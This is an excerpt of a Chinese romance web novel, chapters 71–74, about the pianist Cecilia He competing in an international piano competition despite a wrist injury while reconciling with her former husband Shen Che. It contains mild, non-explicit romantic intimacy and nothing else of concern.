沈澈现在想来,耿耿于怀。 他想给贺羡棠一场真正的婚礼,哪怕无法弥补他当初的过错,也总算是一场真正的,彼此相爱中的婚礼。 那些誓词,如果再念一遍,一定是真心的。 贺羡棠会喜欢教堂吗? 沈澈在脑海里把欧洲这些能够办婚礼的教堂想了个遍,又去想古堡,或者在室外也可以,只要风景好,贺羡棠应该是喜欢的。 然而他听见贺羡棠笑了声,用不以为意的语气说:“办那个干什么?” 70-80 71 第71章 ◎“我请求你,允许我把我所有的,爱和忠诚都给你。”◎ 初赛很顺利,贺羡棠弹一曲巴赫,自认为表现还不错,但结果并不是实时公布的,半决赛选手的名单会在几日后于官网发布。 等待总归是最难熬的。这几天里贺羡棠无心吃饭,无心散步,无心练琴,终于熬到结果公布那天,这群外国佬不知道哪根筋搭错了,一定要在午夜公布名单。 虽然有信心能入围,但有信心是一回事,守在电脑前等着查名单又是另一回事。贺羡棠很多年没体验过这种感受了,上一次还是考取茱莉亚学院,守着等录取通知书。 那真是很多年了…… 贺羡棠撑着下巴犯困,笔记本屏幕上调出了悬浮时钟,倒计时一个小时,半个小时,最后一刻钟…… 她困的不行了,眼皮都睁不开,小脑袋往前一点,沈澈托住她额头:“去睡觉,明天再看。” “不。”贺羡棠说,“我睡不着。” 是谁刚刚差点就要睡过去? 沈澈不揭穿她,给她倒了杯温水:“放松点。” 贺羡棠嘴硬:“我一点也不紧张。” 沈澈抿着唇笑,等她的后文,果然听见她又说:“怎么还没到零点啊,好慢。” 沈澈说:“做点别的打发一下时间。” 贺羡棠问:“什么?” 话音刚落,就被他拦腰抱起,放在桌上。沈澈一手扣住她的腰,不允许她向后躲,膝盖顶了下,分开她双腿,留出给他的空间。 贺羡棠仰着头,接受一个很漫长也很热烈的吻。 她鼻尖是熟悉的雪松香,男人的气息铺天盖地,贺羡棠手心泛潮,抓着他的家居服,高支棉的布料被揉皱。 这是一套情侣装,和她身上的同款不同色,胸口口袋处都描着一只娇憨的小猫。 沈澈买来,强迫她和他一起穿。 贺羡棠被吻的缺氧,头晕乎乎的,这样的一个吻通常不仅仅是单纯的一个吻,她怕自己再看到电脑真要是第二天早上了,及时打住:“别……” 沈澈在她脸颊边蹭来蹭去,嗅她身上的味道,沐浴露换了一种,是很清新可口的西瓜味,贺羡棠爱养花,但在香气上,似乎更偏爱水果香。 仔细闻,还有一点点清凉的薄荷味。 和夏天的夜晚实在太搭了,沈澈不愿意抬起头,埋在她颈窝里,哑声说:“不是说想我?” 贺羡棠被迫仰起头:“你还记得啊?” “当然。”沈澈摸她的脸,“好不容易有句好听的,怎么能忘?” “我也想你。”沈澈牵着她的手,摸到某个滚烫的地方,“想死了。” 贺羡棠被烫了一下,后知后觉地想,他声音真好听。天生声线低,不是刻意凹出来的低音炮。 这一把好嗓音,平时冠冕堂皇地在行业峰会上发表演说,也在这样的深夜里,在她耳边讲一点荤话。 贺羡棠脊背蹿起一股电流。 纽扣轻而易举地被解开了,贺羡棠呼吸略重,被挑起一点欲.望。 沈澈的指腹在她腰间若即若离地流连,贺羡棠扭了下腰,主动环住他脖子。 “叮铃铃”,零点了。 贺羡棠一秒钟回神,手忙脚乱地推开他,跳下桌:“到时间了!” 她握鼠标的手有点抖,进官网,刷新一下,查看几秒钟前刚刚发布的半决赛名单。 一共二十四人,都用英文,贺羡棠认真扫下来,生怕漏了哪一个,最终在第五个找到了她的名字。 “CeciliaHe。” 她松了一口气,抬头看沈澈。 沈澈在唇边落下一个吻:“好棒,cecilia。” 像是考了一百分以后得到夸奖的小孩子,贺羡棠总算安心,欢欢喜喜地说:“睡觉啦!” 沈澈单手抱起她:“bb,还早呢。” 跌到床上,床垫向下一陷,贺羡棠的手腕被他扣住,抵在雪白床单上。 记不清是几点才睡着,贺羡棠只记得,她看见了窗帘后漏进来的,泛白的天光。 次日贺羡棠醒过来已经是中午了,她腰酸背痛,缓了一会儿,开始一点一点地往外挪。 “太过分了,我不要跟你睡一间房了。” 沈澈已经洗漱完,一身清清爽爽的,单腿压上床,拦腰把人拽回来,又觉得抱着她睡个回笼觉也不错,便把人扣进怀里:“跑什么?要不要再睡一会?” 贺羡棠张口就咬他肩膀。 不公平,很不公平,凭什么她腰疼腿疼哪里都疼,他却神清气爽。 沈澈搂着她的背,等她咬完了,笑道:“哪里学的新爱好?” 贺羡棠“哼哼”两声。 沈澈碾了下她的唇瓣:“留着力气咬别的地方。” 贺羡棠脸色爆红。 不不不不不不是!这人怎么一大早就说荤话啊! 贺羡棠服了,抿着唇,只觉得脸和耳朵都很烫,一双水灵灵的眸子东张西望。 沈澈低头要亲她,她往下一缩,沈澈再低头,她再往下一缩,下巴尖埋进被子里了。 沈澈捉着她的腰往上一提,安安心心地吻上去,顺势在她屁股上轻轻拍了一巴掌,一点也不痛,但声音很清脆,贺羡棠真的快要羞死了。 亲完,贺羡棠摸着唇,觉得好像有点肿:“你讨厌死了。” 沈澈问:“我现在可以算是男朋友了吗?” 贺羡棠挑起眉看他:“……炮友。” “好吧。”沈澈又亲了她一口,“你的炮友有礼物要送给你。” 贺羡棠眼睛亮晶晶的:“什么?” “先吃饭。” 贺羡棠不缺礼物,也不缺人送礼物,就说Mia吧,但凡逛街看到点什么喜欢的,都要让人给贺羡棠送来,她平均每天都能收到礼物。 但沈澈搞的这么神秘,贺羡棠就有点好奇了。 一吃完饭,她就问:“我的礼物呢?” 沈澈说:“你等下,我找找。” 他装模作样地找了半天,然后一摊手,空空如也,贺羡棠嘀咕:“搞什么?” 沈澈攥紧手心,再张开,变出一朵玫瑰。 又变魔术。 贺羡棠接过,下意识地讲“谢谢”了,只见他另一只手的手心一翻,又是一枚钻石。 接着是另一枚更大的粉钻,一枚蓝宝石,一枚翡翠珠子,一枚红宝石。贺羡棠眼花缭乱,沈澈像玩玻璃珠子一样一齐塞给她:“回去给你穿条项链玩。” 火彩耀眼。 贺羡棠研究着,更喜欢里面那颗蓝宝石,没注意到酒店的一面白墙上,浮现出了画面。 沈澈示意她看。 她都不知道哪里来的投影仪。 是一张张照片组成的视频,最开始是贺羡棠在太平山那栋别墅的花园里侍弄花草,不知道他什么时候拍下来的。 然后年贺羡棠过生日在游艇上拍的一组照片,那一年的游艇会,沈澈不在。 结婚纪念日,贺羡棠的自拍。 贺羡棠在手工店捏陶瓷花瓶。 婚后两人第一次出去旅游,在日本拍的合照,漫天大雪里,他们俩牵着手,如一对眷侣。 婚礼的照片。 订婚时的照片。 订婚前,贺羡棠在林肯中心办音乐会的照片。 同年,她在维也纳金色大厅办音乐会时谢幕的照片,贺羡棠一手搭在放着一束鲜花的钢琴上,对台下鞠躬。 她在茱莉亚音乐学院时练琴的照片。 她考入茱莉亚音乐学院时在校门口留下的照片。 她在国外求学时的很多照片。 最后一幕,十六岁的暑假,她和沈澈共同在山里度假时留下的照片。 贺羡棠自己都忘了还有这么一张照片,画面里少女穿白裙子,黑色长发飘扬,站在一颗茂盛的樟树下,斑斑点点的阳光透过叶片落下来。沈澈站在不远处看着她。 那是故事的起点。 从一开始,少年眼里就望进了她。 贺羡棠疑惑:“你从哪弄来的这些照片?” 很多她自己都遗失了。 沈澈说:“保密。” 贺羡棠笑着去弹他头,被他握住双手。 “听我说,cici。我知道我错过了很多年很多事,但我想参与你余生的每一年每一件事。我再也不会让你伤心,再也不会让你孤单,再也不会让你求而不得。” “我请求你,允许我把我所有的,爱和忠诚都给你。” 贺羡棠伸手勾他的脖子,主动吻上去:“我批准了。” 亲了一会儿,她才后知后觉的,有一点想哭,水润的眼睛一眨,睫毛挂上水珠。 沈澈吻她眼角,轻声唤她bb:“别哭。” 贺羡棠捂着脸,哽咽:“我牙疼……” 沈澈以为是她觉得不好意思才找的借口,贺羡棠说:“真的疼。” 张开嘴一看,她长智齿了。 好会破坏氛围的智齿。沈澈说:“回国就给它拔了。” / 距离半决赛还有几天,贺羡棠每天泡在琴房练琴,并且嫌弃沈澈在会打扰他,总是打发他自己出去玩。 沈澈在布鲁塞尔乱逛,逛进了一家可以diy戒指项链乱七八糟各种东西的手工店。 装修搞的神神秘秘,门很窄,灯很暗,都是些很便宜的银饰品。 沈澈灵光一闪,当天开车去了巴黎。 Brighten每年会推出高珠系列展,lookbook会提前送至Vic顾客手中,但某些特殊的客人,也可以要求设计师依照他们的想法亲自定制。 这不是什么罕见事。 但手工坊里迎来一位亲自绘设计图,亲自动手制作的客人,还是第一次。 沈澈开始每日往返巴黎和布鲁塞尔,贺羡棠不知道他每天神神秘秘的在搞什么。 她也不知道他去巴黎了,以为他只是在布鲁塞尔的街上闲逛,就是每天晚上很晚才回酒店,且不知道为什么风尘仆仆一身疲倦。 半决赛同样也很顺利,顺利到贺羡棠觉得上天给她开挂了。 她每天高兴的像是在做梦,连布鲁塞尔的阳光都漂亮明媚的那么不真实。 唯一让她清醒的一点是,梦里感受不到痛觉,而她的手腕,快要痛死了。 72 第72章 ◎但我三十多了,沈澈,我不再做这样幼稚的决定。◎ 沈澈:“啊。” 贺羡棠跟着:“啊——” “有点发炎。”沈澈关掉小手电筒,虎口卡在贺羡棠下巴上,勾着她的脸亲了一口,“在这边找个医生拔了吧。” 贺羡棠连连摇头:“不要!” 沈澈说:“一劳永逸,别怕啊,不疼。” 贺羡棠还是摇头。 她对拔牙这事儿很恐惧,根本不信沈澈说的“不疼”。 拔的时候疼死就不说了,拔完了脸还会肿,影响她吃饭睡觉。 沈澈笑话她:“小孩似的。” “总之我不要拔,万一等到决赛那天还没消肿怎么办?”贺羡棠手掌比了个直角放在脸颊边,“我要顶着半边正方形的脸登台吗?” 沈澈笑了,一切都随她:“那先吃点药吧。” 沈澈在贺羡棠的小药箱里找到消炎用的药物,仔细看过说明书以后,倒一杯温水一起递给她,顺势从身后搂住她。 贺羡棠囫囵吞下药片:“你好黏人啊。” 她脖子被沈澈的短发扎的有点痒,笑着躲开,又被他抓回来,按着亲了一通。 沈澈哼哼唧唧的:“我还不能趁着这会儿多抱抱了?” “能……” 决赛名单已经公布,从明天起,接下来一周的时间里,十二名决赛选手必须进入伊丽莎白女王音乐教室准备决赛,期间所有选手不得与大赛行政服务部门之外的人联系,并需要按通知参加排练,同时也需要参加媒体访问活动。 这也意味着,他们俩一周都见不到面。 整整一周,实在太漫长了。 不过沈澈在Brighten的事情还没做完。他想亲手给贺羡棠做一枚戒指,代替早已不知所踪的婚戒。 这也是个可以泡在巴黎手工坊里的好机会。 沈澈摩挲着贺羡棠左手的无名指,有些走神地想,不知道他们那对婚戒去哪儿了。以贺羡棠的性格,八成已经扔掉了。 贺羡棠拍拍他,想叫他松手,她好去练琴。手腕一转,疼的要命,她没忍住,下意识皱着眉叫了一声。 “怎么了?”沈澈立刻托住她手腕,“疼吗?” 贺羡棠咬牙说:“一点点。” 沈澈垂眸,安静地看她。 他不说话的时候,目光是很有压迫感的,贺羡棠在他的视线中无所遁形,额头都冒出了细密的汗,不敢与他对视。 她摸了下鼻尖,故作轻松道:“哎,没事儿,可能最近练琴太累了,我去涂点药。” 沈澈说:“叫医生来看看。” 贺羡棠立刻说:“不用那么麻烦,涂点药就好啦!” 她像只应激的小动物,一双眼睛滴溜溜地转,十分警惕。沈澈沉默一瞬,探身去捞桌上的手机。 贺羡棠先他一步按住:“真的不用!我没事!” 沈澈微微眯了下眼:“真的没事?” 贺羡棠一边点头一边“嗯嗯嗯”的,一咬牙一狠心,踮起脚在沈澈脸上蜻蜓点水似的亲了一口。 她都色诱了,沈澈应该能忘记这回事了吧? 沈澈收回手,懒洋洋地看她。 贺羡棠又亲了一口:“我真的没事,只是一点点疼。” 沈澈说:“再亲一口。” 贺羡棠深呼吸。 忍。 她忍了。 又亲一口。 贺羡棠仰着脸看他,大眼睛一闪一闪的,像是在说“这下总行了吧”。 谁料沈澈冷酷无情:“事出反常必有妖。” 贺羡棠“嗷”的一声,尥蹶子不干了。 医生是从德国来的,是这方面的专家,照料过许多钢琴家的手。 他唉声叹气地给贺羡棠做检查,批*评她竭泽而渔,听起来真是接触过不少华人钢琴家,中文成语运用的出神入化。 贺羡棠抱着抱枕坐在沙发上,谁也不理。 沈澈问:“她怎么样?” “不好。”医生还是更习惯讲德语,“我建议目前制动休息,先保守治疗。” 贺羡棠终于扭过头:“我要比赛!” 沈澈拧起眉毛:“她这样还能去比赛吗?” “疼痛会影响发挥,一定要比赛的话,只能打封闭针。”医生一摊手,“不过据我所知,帕那索斯的决赛前需要选手集中高强度准备,决赛后还有为期一周的音乐会,如果您不想此后反复发作直至需要手术治疗的话,最好还是先放下今年的比赛。” 贺羡棠大声说:“不可能!” 放下今年她就没有明年了。 沈澈比她更大声:“为什么不可能!” 贺羡棠被他吼的一愣,不可置信地看向他。 沈澈挥了下手,打发医生出去等着,无头苍蝇一样在会客厅里转了两圈,末了蹲在贺羡棠面前,牵过她左手,小心翼翼地给她涂药。 贺羡棠抽回手。 沈澈手心里空了。 他揉了下太阳穴,把药膏放到一边的小圆桌上,与她商量:“不去参加决赛好吗?等休息一阵,你可以继续办音乐会。” 贺羡棠看着他:“我为这场比赛准备了很久!” “但你的身体不允许你继续参赛!” “这是我的身体!不是你的!” 沈澈牵过她的手腕,咬着牙问:“那我呢?你有没有考虑过我?我不会心疼吗?” 太阳还没落山,六点钟的阳光也很好,穿过窗户,静静横亘在两人中间。 阳光朦胧,为沈澈披上一层金色滤镜。贺羡棠看着他,不知道说什么。 这不是第一次,沈澈和钢琴同时放在天平两端,等着她抉择。 学钢琴不是一件很简单的事情。起码没有外人想象中那么简单。 贺羡棠五岁学琴,七岁登台比赛,十几岁留学,跟随过许多大师学习,求学期间,她每天练八九个小时的琴。 她漫长的少女时代里,只有练琴和沈澈两件事充盈着她的生活。 她在国际赛事里拿过第一名,她凭自己考入茱莉亚音乐学院,毕业那年,她首次亮相大型音乐会,在维也纳金色大厅弹肖邦的第二钢琴协奏曲,媒体把镜头对准她,那时候,他们只知道她叫Cecilia。而不是贺羡棠。 那时候,Cecilia这个名字还不作为香港贺家的二女儿或者沈澈的太太出现。 《留声机》给她做专访,称她是“古典音乐界一颗冉冉升起的新星”,世界各地的著名乐团向她抛出橄榄枝,只是婚期将近,她在那时选择回香港结婚,与香港本地一家普通的乐团签署了长期合作协约。 这不是一个职业钢琴师的好开端。 事实也是如此。为了和沈澈的联姻,为了陪他出席各项会议、晚宴,为了和他扮演一对相敬如宾的夫妻,贺羡棠放弃了太多次演出。 从此贺羡棠的生活重心转移到婚姻上。她不再是Cecilia,媒体和公众提到她,更为津津乐道的是她和沈澈的婚姻,善意者讲“门当户对、郎才女貌”,也有人恶意揣测“商业联姻的背后是各玩各的”,顶多在八卦之余,提一句“沈太好像是个弹钢琴的”。 “弹钢琴的”,没人放在心上,因为他们会说,钟鸣鼎食之家,不弹钢琴玩艺术难道去做医生和律师吗? 好像她只是玩玩。日复一日的枯燥和十几年的求学生涯在几句话里灰飞烟灭了。 北美古典音乐圈子就那么大,她做沈太太的时候,她的同门正陆续在国际上崭露头角,声名鹊起。 “我考虑过你的。”贺羡棠说,“就是我曾经考虑过你,我才会在二十几岁刚成名的时候就回香港和你结婚,我才会在年轻的时候推掉了无数场演出无数次机会。” “可是结果呢?”贺羡棠平静地陈述事实,“我们离婚了,事业和爱情,我一样也没捞到。” 出名要趁早,这话在古典音乐界可太适用了,每年有那么多的天才少年少女,二十几岁,甚至十几岁,就在国际上崭露头角。 贺羡棠已经三十多了。这是她最后一年能够参加这样的国际赛事。 “二十几岁,有情饮水饱。但我三十多了,沈澈,我不再做这样幼稚的决定,你无法再干预我的工作、我的事业、我的野心。”贺羡棠看着他,缓慢地、一根根掰开他搭在她腕上的手指,一字一顿,“这一次,你和钢琴,我选钢琴。” 沈澈剜心一样的疼。 他错的离谱。 他以为贺羡棠原谅他了。以为那些他错过的时光是可以弥补的,他曾经不爱贺羡棠,以后他能千百倍地爱她,他曾经忽视她,余生他不会再让她离开他的视线。 但有些事情,原来错过了就是错过了。 那是二十几岁的贺羡棠,是还年轻,意气风发,如果专心事业或许早已称为华人女钢琴家第一人的贺羡棠。 遗憾像二十层床垫和二十层被子下的一颗豌豆,在他们俩相处时,会永远提醒着贺羡棠。 再待下去,沈澈怕会失态。 总算有一次,是贺羡棠看他离开的背影。 日光西移,贺羡棠叫医生进来给她打封闭针。 针头刺破皮肤,注射液被缓缓推进肌肉。医生尊重病人的选择,只交代了一些注意事项,并嘱咐贺羡棠在比赛结束后到柏林继续治疗,然后沉默离开。 贺羡棠一个人在会客厅坐着,一旁的小圆桌上,那束原本水灵灵的向日葵有点蔫了,明明是沈澈早上才带回来的。 阳光彻底收束,天光黯淡。套间里安静异常。 “cici——!” 像忽然炸开的雷。 贺羡棠抬头望去,林樾、贺齐、贺少川和贺舒,还有Mia、叶微、赵珩,一伙人闹哄哄争先恐后地挤进来,然后不约而同地停下了脚步,个个脸上带着几分犹豫。 林樾向前一步,柔声问:“cici,怎么哭了?” 73 第73章 ◎沈澈的吻让人招架不住◎ 贺羡棠不知道她哭了,一摸脸颊,湿润,冰凉。 日光彻底黯淡,不知是谁打开了灯,贺羡棠在水晶吊灯下,被晃的眨了眨眼,才说:“牙疼。” 林樾松了口气,转身对挤在门口的一群人挥手:“散了吧散了吧,牙疼。” 贺少川说没劲,一群人闹哄哄地散了。 林樾让酒店送晚餐过来,陪贺羡棠吃完了,又问了些决赛的事情。 “还要一周多呢。”贺羡棠问,“您怎么这么早就来了?” 林樾嗔笑:“想着早点过来陪陪你嘛,哪想到你们决赛前还要被关一周的小黑屋。” 贺羡棠被她这个称呼逗笑了。 她今天兴致不高,就算是笑,也只是两手托着腮,抿着唇弯一弯嘴角,不说话。 林樾心里默默叹一口气,又挑有趣的话题讲给她听,譬如贺舒前段时间在巴黎看秀喜欢上了一个德国的小男模特,因为她德文不好,追了三天才发现人家性向和她一样。 贺羡棠这次是真的笑了,林樾却有点笑不出来,怎么她的三个孩子,个个情路都这么坎坷。 贺少川和Mia的关系不上不下,贺羡棠结婚又离婚,贺舒年纪尚小,玩心重,还不知道喜欢是什么。 她支着额头:“cici,你是不是和沈澈吵架了?” 贺羡棠渐渐敛起笑意,“嗯”了声。 林樾有点想劝她换个男人,想了想还是说:“我和你爹地年轻的时候也总吵架。” 贺羡棠问:“真的吗?” 她印象里家庭关系一直很和睦,贺齐是妻管严,林樾说东他不敢往西,有时也有点小怨言,不敢在林樾面前说,就对着他养的鱼嘟囔,总是窝窝囊囊地搞笑。 “是啊,三天两头就吵,你不知道他那时候多讨厌。”林樾边剥荔枝边说,“人都是独立的个体,有自己的想法和思考,没有哪两个人能够完全相同,吵架的过程就是磨合的过程。相爱的人吵不走,不相爱的人不吵也会散。” 她把剥好的荔枝递给贺羡棠:“当然,也不是所有人都能磨合好,有些人相处了十年也不行,以至于最终断交。这没什么,人和人之间是讲缘分的。” 贺羡棠一口咬走荔枝,甘甜的汁水在口中漾开,她点点头:“我知道啦!” 林樾欣慰地轻轻拍她的小脸蛋:“你现在还有更重要的事情做,是不是?” 贺羡棠说:“当然!” 被关进小黑屋前,贺羡棠在Brighten买的那条裙子到了,几十名裁缝赶工期,一切都刚刚好,让她能在决赛时穿。 同其他十一名选手进入伊丽莎白女王音乐教室,赛事组行政部门照旧宣读规则,都是些老生常谈了,贺羡棠有一搭没一搭地听,不动声色地看那一张张年轻的面孔,然后从镜子里打量自己。 起码看上去,他们一样年轻。 最后一条,为了参赛选手的健康着想,他们安排了一位医生,如有需要,可随时联系赛事组。 一抬眸,看见是给她打封闭针的那个医生。 “沈澈安排你来的?”贺羡棠用德语问。 他也用德语答:“当然。” 几缕阳光从穹顶透明的玻璃块中洒下来,贺羡棠点了点头,没再说什么。 练琴和媒体访谈占据了贺羡棠绝大多数的时间,日子跑的飞快,她没时间想太多,包括沈澈,包括那场争吵。 与世隔绝的另一个好处就是,渐渐的眼中只有一个越来越近,越来越清晰的目标。 沈澈在巴黎做戒指。 设计图已经画好了,是很简单的素圈,镶一枚小钻石,钻石旁分别刻着两人的花体英文名,适合日常佩戴。 但沈澈根本不会做戒指。 他上一次做手工可能还是幼稚园的作业。 工匠一步步地教他,如何焊接,如何打磨、抛光、雕刻,结果总是不尽如人意。 沈澈只有一只手灵活,左手还在骨折恢复期,约等于没什么用。 再次刻下Cecilia一行字之后,沈澈把铂金戒指一丢,“哐当”,戒指在操作台上转了几圈,稳稳落下,和其余十几枚一起静静躺平。 又作废一枚。 沈澈用法语对工匠说:“我出去抽支烟。” 推门出去,夜色无垠。蒙田大道能望见埃菲尔铁塔,一轮黄澄澄的弯月悬在铁塔边。 不知道贺羡棠在做什么? 在和他看同一轮月亮吗? 一想到这个人,沈澈心底灰扑扑的。他不知道该拿她怎么办,她好像依旧讨厌他。 滚轮“嚓”的一声,橘红色的火焰跳出来,沈澈衔着烟,偏头点上火,重新把打火机放回兜里,揉了下酸胀的脖颈。 这几天沈澈都泡在Brighten的手工坊里,泡在裁缝和机器嗡嗡的声音里,似乎必须有什么把他填满,才不至于寥落。可是总有那么一瞬,总有那么一瞬,譬如现在,万籁俱寂,一种很深刻的疲倦和懊悔就浮上来了。 这种感觉被用最锋利的刻刀,一刀一刀刻进他的骨头里。 他想弥补贺羡棠,把一切拨回正轨,事实证明这根本行不通。因为他们错过的不是五天、五个月,而是五年,从二十几岁到三十几岁,应该是人一生年华里最好的五年了。 如果那五年了,他更早一点察觉心意该多好。贺羡棠是不是就不会在今年,即便疼痛难耐也要打封闭针也要去比赛。 她或许早就事业有成,早已名扬天下。 沈澈觉得贺羡棠的伤病,他要负很大一半责任。 这个念头不断压着他,沉重如山,又像是一层薄薄帘子,吹到他脸上,让他喘不开气儿。 尼古丁混着风吹进肺里,沈澈呛了一口,闷闷地咳起来。 贺羡棠觉得自己真的弹不好肖邦了。 她选了肖一刚协作为决赛曲目,这一首她明明弹过很多遍,毕业那年音乐会弹,后来也给沈澈弹,独自音乐会的安可曲也总是弹,弹了十多年,总觉得不满意。 是一首很适合朦胧夏夜的曲子,纯净、浪漫。 今晚月色明亮,她本想找找感觉,谁知道给自己找自闭了。 不弹了。 第二天一早有单人采访,是在古典音乐届很有名的杂志,需要拍照,贺羡棠决定回去睡觉。 总不能琴弹不好,第二天的照片上也肿。 早上八点,贺羡棠迷迷糊糊地醒来,刚洗漱完,还没来得及梳个头发,就被一把拽进化妆间,化妆师十根手指上都有东西,张牙舞爪地冲着她的脸来。 贺羡棠眼睛一闭,任他们为所欲为。 盘发,珍珠耳钉,黑色丝绒长裙,沉稳优雅的一套造型。 贺羡棠被按到闪光灯下,一抬眼,猝不及防地望见沈澈。 他西装革履,戴着领带夹和袖口,一丝不苟,脖子上还挂着今日采访的媒体工牌,看上去神采奕奕,不像是来采访的记者,倒像是报社老板。 唯有眼下一抹乌青出卖了他这几天的心情。 贺羡棠愣住了,前面几个问题都回答的有点呆。 什么对音乐的看法,最喜欢的钢琴家,是什么契机让她走上了古典音乐这条路,明明心底有熟稔的答案,却还是表现的呆呆的,总是忍不住看沈澈。 她看一眼,再看一眼,然后发现沈澈一直在盯着她。 采访的记者Arthur拍了拍他肩膀,给他让出位置。 这小子是个关系户。 不知道什么来头,估计也没当过记者,可能是什么狂热的粉丝,想来见偶像一面,总之早上老板告诉他今天会有个人跟他们一起去做采访,并且会问几个问题。 被那道目光搞的压力颇大,Arthur干脆让他先问。 应该就是随便问问,和偶像说几句话,也用不了几分钟。 沈澈一坐下,对着几盏灯和摄像头,开口就是:“Cecilia谈过恋爱吗?” Arthur:“???” 这是个私生粉吧? 他用英文问,醇厚低沉的腔调,很迷人。 贺羡棠也用英文答:“没有。” 沈澈假装看台本,敛去眼底一点失落:“如果在谈恋爱时和对方吵架,你会如何解决?” 在场所有人:“???” 想干什么?贺羡棠瞪他:“我没有谈过恋爱,还不知道该怎么解决这种问题。但是我想……应该会找一个合适的时间沟通一下吧?” “谢谢。”沈澈说,“如果是我,我会先道歉。对不起,Cecilia。请放心,这段对话不会出现在最终的访谈稿上。” Arthur觉得这兄弟是梦到哪句说哪句。 幸好他很快让出了这个位置,后续的问题终于回到正轨——音乐、钢琴、个人成长经历上。 单人访谈不会持续太长时间,收工时才十点多。现场乱糟糟一片,电线盘在大理石地面上,划出一个又一个不规则的圈。 没人注意到,这场访谈的主人公和那个关系户不见了。 “砰”的一声,洗手间的门被重重关上,接着,粗重的喘息声溢出来。 两个人像是没有时间说话,只顾着用这种最原始的方式表达,沈澈的吻让人招架不住,他搂着贺羡棠的手臂也那么用力,像是要把她揉进骨血里。 “沈澈……沈澈!”贺羡棠有点急,伸手推他,“我的妆花了!” 沈澈轻轻捏着她的手腕搭在自己肩上:“手不要乱动。” 两人近在咫尺,稍微往前一点,就又能吻上,贺羡棠往后躲了一下,目光忽闪忽闪的:“你怎么……” “我总想你。”沈澈说,“想的睡不着。” 【作者有话说】 俺回来啦~今天评论区给大家发红包^ω^ 74 第74章 ◎腰臀那起伏的一笔,让沈澈想到之前送给她的细梅瓶◎ 贺羡棠微微抿着唇。 想……她吗? 沈澈讲话的声音真好听。 而且他说他想她,想的睡不着。贺羡棠攀着沈澈肩膀,不知道出于什么心理,讲了句:“我没有想你。” 她仰着头,长而浓密的睫毛微垂,神色有点倔犟。 沈澈说:“我知道,你很忙。” 贺羡棠摇头。 沈澈扬了扬眉,垂着眸看她,还没来得及说话,脸颊边就被印上一个吻。 很温柔,略微湿润,带着贺羡棠的体温。 她说:“因为我总觉得你会来找我。” 沈澈愣住了,被一句话砸的晕头转向,刹那间觉得头晕,眼前好像有一圈小天使在绕着飞。 洗手间白天也灯光明亮,花纹漂亮的洗漱台上泛着冷光,占据大面墙壁的镜子里,映着他们两人的倒影。 亮堂堂的,一切都很真实,所以应该不是梦吧? 黑色的大裙摆晃了一下,贺羡棠贴着他嘟囔:“傻子。” 不知道从什么时候开始,贺羡棠已经有这样的底气了——无论发生什么,沈澈都会主动来找她,而她要做的只是等待。 这种感觉很好,很安心。 两条细细的胳膊缠上沈澈的腰,贺羡棠有点不好意思,脸颊发烫,干脆埋进他胸膛里,听见他的心跳声,一下一下,比平常快,重重地敲在她鼓膜上。 沈澈喉咙发紧:“我应该早点来。” 贺羡棠说:“不要,太早了我还没消气。” 现在刚刚好,她已经不生气了,顺便还反思了下,那天她也太冲动,对着沈澈,那些伤人的话好像总是很容易说出口。 沈澈摸她的脸,拇指轻轻摩挲着眼下的一块皮肤:“那天吵完架有没有哭?” 贺羡棠乖巧地答:“有。” 没什么不好意思承认的。她虽然不常哭,但哭也只是一种情绪。吵架能哭,伤心能哭,听音乐会太投入也能哭。 沈澈不太行,一想到她哭,懊恼更深。 “对不起。”沈澈紧紧地抱住她,低头吻了下她的头发,“对不起cici,我……” 贺羡棠伸手捂住他的嘴:“我知道你想说什么,不过你还是别说了。” 想说都是他的错,才耽误了她的工作,才让她三十多岁才不得不带着手伤来比赛。 “我那天说的都是气话,你不用放在心上。”贺羡棠说,“那几年你也没有不许我去工作,放弃部分工作而选择婚姻是我自己的决定,我又不是小孩子,不需要有人替我的决定负责任。如果我还在意这个,那我也不会原谅你。” 她贺羡棠拿得起就放得下,不会困在往事里自怜自艾。她和沈澈的重新开始,应该是一身轻松地奔向崭新的未来,而不是永远背着过往的包袱和怨怼,在每一次争吵时都翻出来细数谁对谁错。 那还不如不开始,再好再美妙的感情,也只会在一次次争吵中磨灭。 “我以后也不会讲什么钢琴和你之类的话了。”贺羡棠牵着他的手玩他的手指,“真的。” 她做人,最首要的一点,就是学会放过自己。值得高兴值得喜欢的事情太多了,为什么要抓着不高兴不喜欢的事情不放呢? 沈澈定定地看着她。 贺羡棠没立时等到回应,就无所事事地捏沈澈的手指关节,比划着长度,心想这也是一双很适合弹钢琴的手,有机会可以训练他一下。 她在一片沉默中走神,忽然冷不丁听见沈澈叫她的名字:“贺羡棠。” 贺羡棠下意识:“嗯?” 沈澈说:“你要是这样,我都有点嫉妒我自己了。” 他何德何能,遇见贺羡棠这样浑身都柔软的人。 贺羡棠嘿嘿地笑,露出一排整齐的小白牙。 沈澈托着怀里这具身体,也在笑。 不知道说什么,干脆接吻。亲着亲着就有点擦枪走火,贺羡棠身材很好,细腰长腿,每一处的曲线都流畅优美,沈澈的手搁在她腰间,腰臀那起伏的一笔,让他想到之前送给她的细梅瓶。 “那个花瓶……” 她知道那个花瓶是他画的吗?他们五周年结婚纪念日的礼物,差点被她丢掉。 贺羡棠疑惑:“什么花瓶?” 沈澈淡声说:“没什么。” 现在谈这些好像有点不合时宜。他专心回到这个吻里,手心向上滑,灵活地勾住拉链,向下一拉。 是件抹胸裙,拉链一开,松松垮垮的就要掉下去。贺羡棠眼疾手快地按住胸口,可惜作用也只是聊胜于无,沈澈的掌心贴着她的肌肤,滚烫。 虽然那只手现在还只是在腰间,但无论是向上还是向下都很危险。贺羡棠推他:“你别在这儿。” 沈澈在洗手间里和她做这种事,放在以前贺羡棠想都不敢想,虽然已经逐渐认清了沈澈的本质,但贺羡棠一直觉得他有着君子的一面,比如说……禁欲。 好像也没多禁…… 但光天化日在洗手间,还是太超过了! 沈澈偏过头啄她的唇:“cici想去哪?” 这不是去哪的问题吧…… 可贺羡棠被他吻着,说不出话,只能软倒在他怀里。就在她已经闭上眼自暴自弃的时候—— “咕噜”。 接着头顶传来一声轻笑。 “啊——!”贺羡棠打他,“你笑什么!我早上没吃饭!” 参赛选手的一日三餐都由赛事组负责,虽然味道一般,但也能入口。早晨贺羡棠忙着采访,没来得及吃。 沈澈好整以暇地帮她拉上拉链:“我陪你去吃。” 贺羡棠用食指戳戳他:“这是违反规定的。” 沈澈亮出他的工作牌。 贺羡棠还是摇了下头:“还要换衣服、卸妆……人太多了,你还是回去吧。” 执手相看,竟然谁也舍不得分开,沈澈指腹在贺羡棠左手手腕上摩挲:“还疼吗?医生说你这几天一直没有去找他。” 